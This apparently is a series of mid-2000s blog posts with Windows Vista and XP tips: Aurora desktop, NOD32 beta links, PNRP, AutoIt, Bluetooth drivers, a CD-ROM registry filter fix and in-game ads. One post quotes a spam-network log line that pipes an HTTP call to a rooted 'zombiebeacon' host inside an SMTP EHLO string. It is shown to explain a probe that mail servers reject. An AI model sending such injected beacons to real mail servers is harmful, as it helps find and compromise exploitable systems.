Microsoft

Anyone catch the Foo Fighters reference?

Commonly referred to as Desktop Aurora or Aurora Desktop, this long forgotten early Vista eye candy can be "hacked up" to work in the newer builds. It is not quite like the earlier builds but it sure it nice being able to run screen savers as your background. It was one of the things I always loved about xscreensaver under unix.

Read more about it here and make sure to grab a copy of the AnimatedDesktop.zip program to automate the process for you.

You can also get it to work under XP although I haven't tried it personally. If you want to see some eye candy inside Vista without grabbing any files or programs, just open up a 'Run' prompt and type 'winsat aurora', hit [Enter] and enjoy.

The AnimatedDesktop.zip method is much more elegant though.

I guess Minesweeper was an unpopular game outside of the US due to problems with land mines. Apparently, this short lived version of Minesweeper, called Mimesweeper, caused an even bigger uproar.

It is too bad people are so easily offended these days or maybe I have a twisted sense of humor.
Read about Mimesweeper and other goodies left out of Vista, here.

Brought to you by the MS Hardware group and others - scripts and information on saving power in your datacenter and/or server room with Windows 2003. It is the framework that the newer Vista power management support was built off of and fleshed out more. By the way, if you have an AMD CPU running under Windows 2003, I highly recommend downloading the updated CPU drivers for much better support overall. This is especially true on the dual core CPUs due to the dual TSC-out-of-sync problem you can run into without proper drivers.

Read more about it here.

Getting familiar with powercfg.exe is worth looking into, also. You can read about it more here.

This seems to show up from time to time in the newer Windows Live Messenger builds but I also suspect due to the bug in the earlier builds of Adobe Flash Player that other applications will also have issues from time to time.

Again, the perils of running betas on betas, but at least this one is an easy fix with a download from here.

I haven't drilled through the dumps from the earlier Adobe builds but I suspect, if you are "lucky", you might get DEP errors under XP, also.

I used to swear by Symantec Corporate Anti-virus but every version since 9.1 has been a bit lackluster and buggy in my opinion.

The NOD32 antivirus suite is made by a group of people that seem to be really smart and they are still supporting older versions of Windows, dating back to Windows 9x.

Here are the release notes and links for the Vista compatible version:

ESET is proud to present a new beta version of NOD32 2.7 that brings full Windows Vista compatibility as well as significant improvements in terms of detection and cleaning of malware.

New features:
- full Microsoft Windows Vista 32/64-bit compatibility
- new Anti-Stealth technology against active rootkits
- new category for unwanted applications
- improved cleaning of already infected systems

THINGS YOU SHOULD KNOW BEFORE YOU START:
1. users with a different language version of NOD32 installed must uninstall their NOD32, restart the computer and delete the program files/eset/install folder before they continue installing this English beta.

2. paying users who have already their username and password for update entered in their NOD32 Control Center should leave the "Use current settings check-box ticked" in order to preserve their username and password, otherwise they must be re-entered again in the NOD32 update setup window.

The beta is downloadable from:

Windows 9x/ME:
http://u4.eset.com/beta/nd98enst.exe

Windows NT/2000/XP/2003/Vista (32/64-bit)
http://u4.eset.com/beta/ndntenst.exe

Trial users can download the beta with a temporary username and password embedded from

Windows 9x/ME:
http://u4.eset.com/beta/eval/nd98enst.exe

Windows NT/2000/XP/2003/Vista (32/64-bit)
http://u4.eset.com/beta/eval/ndntenst.exe

Note: As of 10/31/06, it looks like the u4.eset.com server is down. There have been reports of non-functioning Disk Defrag under Vista once you have installed this beta version of 2.7.

I suppose things like this are to be expected when you are running beta software on a beta operating system.

If this happens, I highly recommend just downloading the Diskeeper 10 beta to replace Vista's built in defrag engine.

From what I can tell, this is a protocol much like Rendezvous to discover machines and people that are on your local subnet/etc. I know there is much more involved than that but it looks like a bit of a framework to extend applications like Windows Meeting Place and others.

The best reference I can find about the protocol at the moment is here.

Specifically this section:

Windows Vista includes version 2 of the Peer Name Resolution Protocol (PNRP) that is more scalable and uses less network bandwidth. For PNRP v2 in Windows Vista, Windows Peer-to-Peer Networking applications can access PNRP name publication and resolution functions through a simplified PNRP API. For highly simplified PNRP name resolution in Windows Vista, PNRP names are now integrated into the getaddrinfo() Windows Sockets function. To use PNRP to resolve a name to an IPv6 address, applications can use the getaddrinfo() function to resolve the Fully Qualified Domain Name (FQDN) name.prnp.net, in which name is peer name being resolved. The pnrp.net domain is a reserved domain in Windows Vista for PNRP name resolution. The PNRP v2 protocol is incompatible with the PNRP protocol used by computers running Windows XP. Microsoft is investigating the development and release of an update to the Windows Peer-to-Peer Networking components in Windows XP to support PNRP v2.

It looks like the part that I highlighted in bold finally happened.

You can grab the update for Windows XP here.

Most sane mail servers check for pipe characters but some type of spam mail zombie network seems to try to phone home to a few specific rooted boxes - using HTTP to either 8888 or ports ranging in the low 7000s.

I know there used to be old Sendmail exploits that had to deal with pipe characters in the HELO/EHLO string but I am curious what this spam network is trying to discover, other than the fact that a mail server is exploitable by a successful phone home.

Typically you will find an entry in your logs that look something like this:

"ehlo | http://zombiebeacon.rootedbox.org:7011/cgi-bin/put"

Every mail server I have seen so far kicks the connection as an illegal HELO statement.

I've been tinkering with Longhorn quite a bit after hours when I get pockets of free time. If you do it right, you can almost convince people you are running Vista on your XP laptop due to how seemless the windows applications look.

If I really wanted to go all out, of course, I could install Vista on the laptop but I'd much rather do it this way for now. Vista sound drivers are still in development due to the API/engine overhaul (for the good) that happened in Vista. It was always one of my biggest pet peeves that there wasn't a decent way for applications to have different volume levels.

I used to "sort-of" get around it way back when with 2 different Sound Blaster 16 cards in one machine, with one output going into the input of the other one, like the old Adlib or Gravis Ultrasound cards. Unfortunately, back then, many programs did not know how to handle the fact that there were multiple mixers and output devices available under Windows.

OS/2 would handle it fine but by the time OS/2 4.0 came out, there were a whopping 10 applications native to OS/2 (just kidding). OS/2 was a great operating system to run a DOS based BBS on if you only had one machine overall. Running a multiline Renegade BBS became possible and tolerable with that OS.

Back on topic though, Longhorn really is looking like it will be a Citrix killer.

Good to see Beta 2 retired and the final version (for now) released.
Download it here.

That is only scratching the surface of the overall power of this cool scripting language. It looks like it originally started out as an automation tool to automagically click dialog boxes for you in a scripted way. One of the example scripts installs WinZip without any user interaction.

Version 3 has morphed into a more BASIC-ish language. One of the best aspects is that you can easily make GUI dialog boxes and neat automation tricks that are hard or impossible to implement in native VBScript.

You can also compile your scripts into self contained EXE files which is perfect for login scripts and/or application deployment scripts.

You can read more about it and download the application here.

Originally spotted here, but I remember 'playing around' with older versions in the past.

Thankfully there is a hotfix out for it already that will most likely be pushed down WSUS before IE 7 gets pushed down in November.

I haven't seen it firsthand but it looks very easy to reproduce.

Go here for the hotfix - thankfully you do not have to call into PSS for it.

I have an older than dirt Kensington USB Bluetooth dongle that is actually a rebranded / relabeled MSI Bluetooth dongle. Due to the way WIDCOMM originally did licensing and firmware, it is easier getting an organ from the organ donation list than it is to get updated drivers and firmware for most Bluetooth devices.

For whatever reason that I haven't looked into yet, the dongle isn't automatically discovered correctly like most newer BT dongles with the default XP SP2/Vista BT support.

In an effort to get something working under Vista, I ended up pointing Vista to my original XP inf directory for initial BT support of the actual dongle to get rid of the 'Unknown device'. To avoid 30 or 40 'unsigned driver' warnings, I edited the local group policy to 'ignore' the fact that the drivers might be unsigned. Sure, not best practice, but I don't mind bending the rules on my home desktop machine. If I break it, I'm the one that has to fix it anyway.

I ran the WIDCOMM setup in XP SP2 compatibility mode and it installed everything correctly as far as I can tell. There are a few sections of the programs that have quirky display problems, but I just wanted some base functionality with this old dongle until I decide to get a newer USB 2.0 Class 1 Bluetooth dongle.

At least I don't have to suffer with the Toshiba Bluetooth stack that installs 40 COM devices on initial install, even if you are only going to use one COM port. A lot of programs still don't handle anything above COM8 correctly.

An unpatched Toshiba BT stack is also easy to crash if you have your system discoverable and in range of someone with exploit code. Sure, not very common in the real world, but given how difficult it is to get updated Bluetooth stacks from vendors, I am sure most people are still running the older versions.

I am hoping Broadcom, who bought WIDCOMM, will do something like what Agere did with their software modems. They released a 'generic' driver for their chips that might not have all the features of the original OEM drivers, but you can at least download and get basic functionality if you lose your original CDs.

There is a recommended hotfix KB article for Windows 2003 RTM that was published before SP1 came out, located here

It looks like there is a more recent KB article that is specific for Windows 2003 SP1, located here.

You will want to use the right KB for the right service pack level, which most likely is SP1.

Programs, such as decoders and CD burning software, sometimes register ‘filters’ that load either before or after the cd-rom subsystem in Windows.

Sometimes when uninstalling software, they will remove the filter that was registered but leave behind the reference to the filter in the registry.

End result: Yellow exclamation point on every CD and DVD-ROM on the system.

Brute force fix:
Run regedit and drill down to this location:
[HKLM\SYSTEM\CurrentControlSet\Control\Class\
{4D36E965-E325-11CE-BFC1-08002BE10318}]
Export the contents of this location to a registry file backup (right click entry->Export), if you want a backup.
Delete the keys “UpperFilters” and “LowerFilters”

You might have to reinstall CD burning software or DVD decoders, but it is better than a non working drive.

You can also delete the “0000”, “0001”, “0002”, “0003” subtrees if you want Windows to rescan/reload the related CD-ROM drivers. You might have to re-enable digital audio on the CD/DVD-ROM afterwards.

More elegant fix:
Go to the same location and if you know what filter file is missing, just remove the reference to it from either ‘UpperFilters’ or ‘LowerFilters’.

MS’s documentation on this problem:
KB 314060

Sometimes it is specifically related to a filter called GearAspiWDM by Gear Software. It usually comes bundled with software, like iTunes. It has also been known to blue screen 64-bit versions of Windows from time to time too. There are trojans out that register themselves as GearAspiWDM, unfortunately.

Here is Gear software's guide to removing GearAspiWDM if you suspect that filter is the cause of your CD-ROM/DVD problem.

I was on the fence whether to put this in 'Gaming' or 'Spyware'. I chose 'Spyware' for now. I am, at best, a casual gamer from time to time on my PC and on the X-Box. I typically will pick up a title after it has dropped in price quite a bit and there have been a few patches put out since RTM.

Sure, you don't get the latest games but you end up with a nice 'cheap' way of having fun with last year's big hits, and you most likely have a video card that supports all the high end features of the game that was 'bleeding edge' in the past.

If this current trend of putting ads inside games and using tracking software to detect which ads you view more becomes more popular, I might end up not buying the newer titles. "Vote" with your dollars. It would be nice if there was a $25 version with ads and a $50 without. I don't plan on picking up BF 2142 due to this.

I think what bothers me the most is that they are 'backporting' the IGA software into patches of already existing games. For instance, in the release notes of Battlefield 2 v1.45, there is mention of adding support for "IGA server/client".

Read more about Battlefield 2142's bundled "IGA" client software here.